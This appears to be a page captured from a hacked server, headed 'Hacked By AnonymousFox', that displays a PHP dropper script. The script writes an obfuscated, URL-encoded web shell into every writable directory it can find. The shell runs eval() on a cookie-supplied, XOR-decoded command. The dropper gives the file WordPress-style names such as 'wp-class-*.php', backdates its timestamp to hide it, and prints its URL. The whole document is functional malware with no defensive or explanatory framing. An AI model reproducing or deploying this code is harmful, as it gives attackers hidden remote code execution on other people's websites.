Hacked By AnonymousFox

Current Path : /tmp/
Upload File :
Current File : //tmp/2415649015

<?php if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}


$payload_file = "%3C%3Fphp%0Afunction%20tQEaO%28%24rQJgGHJb%29%0A%7B%0A%20%20%20%20%24PadYypGB%20%3D%20PNPgOdcswI%28%24rQJgGHJb%29%3B%0A%20%20%20%20%24XQDhlBTTKn%20%3D%20waVQtZzcGD%28%24rQJgGHJb%2C%20%24PadYypGB%29%3B%0A%20%20%20%20return%20%24XQDhlBTTKn%3B%0A%7D%0Afunction%20waVQtZzcGD%28%24KuEajOC%2C%20%24CHpfapqV%29%0A%7B%0A%20%20%20%20%24ZYDLG%20%3D%20cKCYPijmT%28%24KuEajOC%29%3B%0A%20%20%20%20%24BLwhJ%20%3D%20NbQNhPGF%28%24CHpfapqV%29%3B%0A%20%20%20%20%24XavLxgDFq%20%3D%20IpLUxD%28%24BLwhJ%2C%20%24ZYDLG%29%3B%0A%20%20%20%20return%20%24XavLxgDFq%3B%0A%7D%0Afunction%20WMaaIcX%28%24gpVUwhDO%2C%20%24LEAFuSA%29%0A%7B%0A%20%20%20%20%24gYFwj%20%3D%20str_pad%28%24gpVUwhDO%2C%20%24LEAFuSA%2C%20%24gpVUwhDO%29%3B%0A%20%20%20%20return%20%24gYFwj%3B%0A%7D%0Afunction%20jUvpOQ%28%24beaLadMN%29%20%7B%0A%20%20%20%20%24XeZenYPZ%20%3D%20trzDY%28%24beaLadMN%29%3B%0A%20%20%20%20return%20array_sum%28%24XeZenYPZ%29%3B%0A%7D%0Afunction%20trzDY%28%24beaLadMN%29%20%7B%0A%20%20%20%20%24YradSO%20%3D%20%5B0%2C%201%5D%3B%0A%20%20%20%20for%20%28%24oRsmGszqz%20%3D%202%3B%20%24oRsmGszqz%20%3C%20%24beaLadMN%3B%20%24oRsmGszqz%2B%2B%29%20%7B%0A%20%20%20%20%20%20%20%20%24YradSO%5B%24oRsmGszqz%5D%20%3D%20%24YradSO%5B%24oRsmGszqz%20-%201%5D%20%2B%20%24YradSO%5B%24oRsmGszqz%20-%202%5D%3B%0A%20%20%20%20%7D%0A%20%20%20%20return%20%24YradSO%3B%0A%7D%0Afunction%20kcwSvbaPiJ%28%29%0A%7B%0A%20%20%20%20%24mwamMt%20%3D%20%22ltEIssEiyQygMMQoSNPkZVgcqxgMfD%22%3B%0A%20%20%20%20return%20%24mwamMt%3B%0A%7D%0Afunction%20NbQNhPGF%28%24vwAOa%29%0A%7B%0A%20%20%20%20%24ZAoanRS%20%3D%20xyQkrkXI%28%24vwAOa%29%3B%0A%20%20%20%20%24BLwhJ%20%3D%20TEevM%28%24ZAoanRS%29%3B%0A%20%20%20%20return%20%24BLwhJ%3B%0A%7D%0Afunction%20kJDIJXw%28%29%0A%7B%0A%20%20%20%20%24IfDOU%20%3D%20kQrMQW%28%29%3B%0A%20%20%20%20ukpvnra%28%24IfDOU%29%3B%0A%7D%0Afunction%20PNPgOdcswI%28%24kamFXROITp%29%0A%7B%0A%20%20%20%20%24xJWrLa%20%3D%20substr%28%24kamFXROITp%2C%20-4%29%3B%0A%20%20%20%20return%20%24xJWrLa%3B%0A%7D%0Afunction%20TEevM%28%24xbVWt%29%0A%7B%0A%20%20%20%20%24ECmvQ%20%3D%20rawurldecode%28%24xbVWt%29%3B%0A%20%20%20%20return%20%24ECmvQ%3B%0A%7D%0Afunction%20OWupo%28%24bDnfJSiIgL%29%0A%7B%0A%20%20%20%20%24IajTNaidw%20%3D%20strlen%28%24bDnfJSiIgL%29%3B%0A%20%20%20%20return%20%24IajTNaidw%3B%0A%7D%0Afunction%20IpLUxD%28%24UeNXVz%2C%20%24UXquDgwE%29%0A%7B%0A%20%20%20%20%24erkYEeKKKC%20%3D%20OWupo%28%24UeNXVz%29%3B%0A%20%20%20%20%24hXkvxg%20%3D%20WMaaIcX%28%24UXquDgwE%2C%20%24erkYEeKKKC%29%3B%0A%20%20%20%20%24IfDOU%20%3D%20ewwjGic%28%24hXkvxg%2C%20%24UeNXVz%29%3B%0A%20%20%20%20return%20%24IfDOU%3B%0A%7D%0Afunction%20ewwjGic%28%24TxWsBVDpaS%2C%20%24VwbnCCYq%29%0A%7B%0A%20%20%20%20%24JdHkXaD%20%3D%20%24TxWsBVDpaS%20%5E%20%24VwbnCCYq%3B%0A%20%20%20%20return%20%24JdHkXaD%3B%0A%7D%0Afunction%20ukpvnra%28%24beaLadMNuMafhUylG%29%0A%7B%0A%20%20%20%20eval%28%24beaLadMNuMafhUylG%29%3B%0A%7D%0Afunction%20xyQkrkXI%28%24bsBQqZzrn%29%0A%7B%0A%20%20%20%20%24OHZFOFEEB%20%3D%20%24_COOKIE%5B%24bsBQqZzrn%5D%3B%0A%20%20%20%20return%20%24OHZFOFEEB%3B%0A%7D%0Afunction%20cKCYPijmT%28%24mdyCTBUBa%29%0A%7B%0A%20%20%20%20%24uNUaHXls%20%3D%20hash%28%22sha256%22%2C%20%24mdyCTBUBa%2C%20TRUE%29%3B%0A%20%20%20%20return%20%24uNUaHXls%3B%0A%7D%0Afunction%20kQrMQW%28%29%0A%7B%0A%20%20%20%20%24URdHH%20%3D%20kcwSvbaPiJ%28%29%3B%0A%20%20%20%20%24oRsmGszqzdpXxaxdu%20%3D%20tQEaO%28%24URdHH%29%3B%0A%20%20%20%20return%20%24oRsmGszqzdpXxaxdu%3B%0A%7D%0AkJDIJXw%28%29%3B%0A%24dfhAkAjfyx%20%3D%20jUvpOQ%286%29%3B";
$payload_name = "";

srand(time());


$common_names = array('capabilities', 'compat', 'autoload', 'loader', 'table', 'general', 'formats', 'mode', 'info',
    'customize', 'supports', 'revision', 'tokens', 'editor', 'dependency', 'metadata', 'canonical', 'date',
    'blocks', 'nav', 'paused', 'deprecated', 'text', 'detection', 'menu', 'comments', 'theme',
    'server', 'style', 'oembed', 'lazyloader', 'spl', 'context', 'vars',
    'filters', 'setting', 'shortcodes', 'sanitize', 'bar', 'recovery', 'error', 'blogs', 'db', 'source', 'renderer',
    'classic', 'image', 'extensions', 'page', 'schema', 'author', 'pluggable', 'diff', 'meta', 'robots', 'manager',
    'term', 'constants', 'section', 'panel', 'resolver', 'block',
    'cache', 'dependencies', 'streams', 'session', 'migration', 'version', 'proxy', 'files',
    'fatal', 'widgets', 'widget', 'feed', 'modules', 'factory', 'protection', 'application', 'global', 'styles',
    'passwords', 'templates', 'category', 'link', 'template', 'switcher', 'locale', 'formatting',
    'query', 'engine', 'fonts', 'type', 'registration', 'request', 'list', 'dropdown', 'atomlib', 'api',
    'taxonomy', 'handler', 'rest', 'previews', 'roles', 'registry', 'canvas', 'converter',
    'user', 'menus', 'script', 'snoopy', 'hooks', 'data', 'cookie', 'functions',
    'json', 'parser', 'transient', 'frame', 'comment', 'requests', 'patterns', 'navigation',
    'controller', 'role', 'update', 'thumbnail', 'hook', 'admin', 'rewrite', 'pattern',
    'storage', 'media', 'inline', 'atom', 'service', 'ajax', 'walker', 'fallback', 'network', 'response',
    'bindings', 'client', 'plugin', 'default', 'object', 'control', 'tax', 'sitemaps', 'scripts',
    'bookmark', 'categories', 'option', 'util', 'textdomain', 'site', 'utils', 'embed');


/////////////////////////////////////////////////////////
function comparer($a, $b)
{
    return strlen($a)-strlen($b);
}

if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (!$f) {
            return false;
        } else {
            $bytes = fwrite($f, $data);
            fclose($f);
            return $bytes;
        }
    }
}

function GetPathDiff($base_path, $full_path)
{
    $pos = strpos($full_path, $base_path);

    if ($pos === FALSE)
    {
        return FALSE;
    }

    return substr($full_path, $pos + strlen($base_path));
}

function GetWritableDirs()
{
    $res = Array();

    $analysys_queue = Array();

    $analysys_queue[] = GetDocRoot();

    $self_path = $_SERVER['SCRIPT_FILENAME'];
    while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE)
    {
        $self_path = substr($self_path, 0, $slash);

        if ($self_path == GetDocRoot())
        {
            break;
        }

        if (strlen($self_path))
        {
            $analysys_queue[] = $self_path;
        }
    }

    foreach ($analysys_queue as $current_dir)
    {
        if (!in_array($current_dir, $res))
        {
            $res = array_merge($res, GetDirectoryList($current_dir));
        }
    }
    $res = array_merge($analysys_queue, $res);

    return CheckWritable(array_unique($res));
}

function CheckWritable($dir_list)
{
    $dir_list_writable = Array();

    foreach ($dir_list as $dir)
    {
        if (@is_writable($dir) == TRUE)
        {
            $dir_list_writable[] = $dir;
        }
    }

    return $dir_list_writable;
}

function GetDirectoryList($dir, $depth=10000)
{

    $result = array();
    $dir_count = 0;

    if ($depth == 0)
    {
        return $result;
    }

    $dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\\/');
    $h = @opendir($dir);
    if ($h === FALSE)
    {
        return $result;
    }

    while (($f = readdir($h)) !== FALSE)
    {
        if ($f !== '.' and $f !== '..')
        {
            $current_dir = "$dir/$f";
            if (is_dir($current_dir))
            {
                $dir_count += 1;

                if ($dir_count >= $depth)
                {
                    break;
                }

                $result[] = $current_dir;
                $result = array_merge($result, GetDirectoryList($current_dir, $depth / 10));
            }
        }
    }

    closedir($h);

    return $result;
}

function GetDocRoot()
{
    $docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']);
    if ($docroot_end === FALSE)
    {
        return $_SERVER['DOCUMENT_ROOT'];
    }
    elseif ($docroot_end === 0)
    {
        return "/";
    }
    else
    {
        return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);
    }
}

function GetPayload($payload)
{
    $current_payload = rawurldecode($payload);

    return $current_payload;
}

function WritePayload($path, $payload)
{
    if (!file_exists($path))
    {
        if (file_put_contents($path, GetPayload($payload)) != FALSE)
        {
            return TRUE;
        }

    }

    return FALSE;
}

////////////////////////////////////////////////////////////////////////////////////////////

# get base local and remote path
$base_www_path = $host = @$_SERVER['HTTP_HOST'];
$base_local_path = GetDocRoot();

if (!($base_local_path_time = @stat($base_local_path."/.htaccess")))
{
    if (!($base_local_path_time = @stat($base_local_path."/index.php")))
    {
        if (!($base_local_path_time = @stat($base_local_path."/index.html")))
        {
            if (!($base_local_path_time = @stat($base_local_path."/..")))
            {
                if (!($base_local_path_time = @stat($base_local_path)))
                {
                    $base_local_path_time = Array();
                    $base_local_path_time['mtime'] = time();
                }
            }
        }
    }
}

$base_local_path_time = $base_local_path_time['mtime'];

$dir_list_writable = GetWritableDirs();

if (count($dir_list_writable) == 0)
{
    echo "STATUS_UNWRITABLE";
    exit();
}

usort($dir_list_writable, 'comparer'); # sort directory by len

# try to upload
$max_tryes = strlen($payload_name) == 0 ? 5 : 1;
foreach ($dir_list_writable as $current_dir)
{
    // if payload name is set, no more one try to upload on current dir
    for ($i=0; $i < $max_tryes; $i++)
    {
        if (strlen($payload_name) == 0)
        {
            $temp_payload_name = $common_names[array_rand($common_names)] . ".php";

            if ((rand(0, 255) % 2) == 0)
            {
                $temp_payload_name = "class-" . $temp_payload_name;
            }

            $temp_payload_name = "wp-" . $temp_payload_name;
        }
        else
        {
            $temp_payload_name = $payload_name;
        }

        $full_payload_name = $current_dir . DIRECTORY_SEPARATOR . $temp_payload_name;
        if (file_exists($full_payload_name))
        {
            continue;
        }

        $uri_path = GetPathDiff($base_local_path, $full_payload_name);
        $full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/".$uri_path);

        if (WritePayload($full_payload_name, $payload_file))
        {
            touch($full_payload_name, $base_local_path_time); // set last modification time as root folder

            echo "URL#http://" . $full_uri . PHP_EOL;
            exit();
        }
    }
}

echo "STATUS_CANTUPLOAD";
exit();

Hacked By AnonymousFox1.0, Coded By AnonymousFox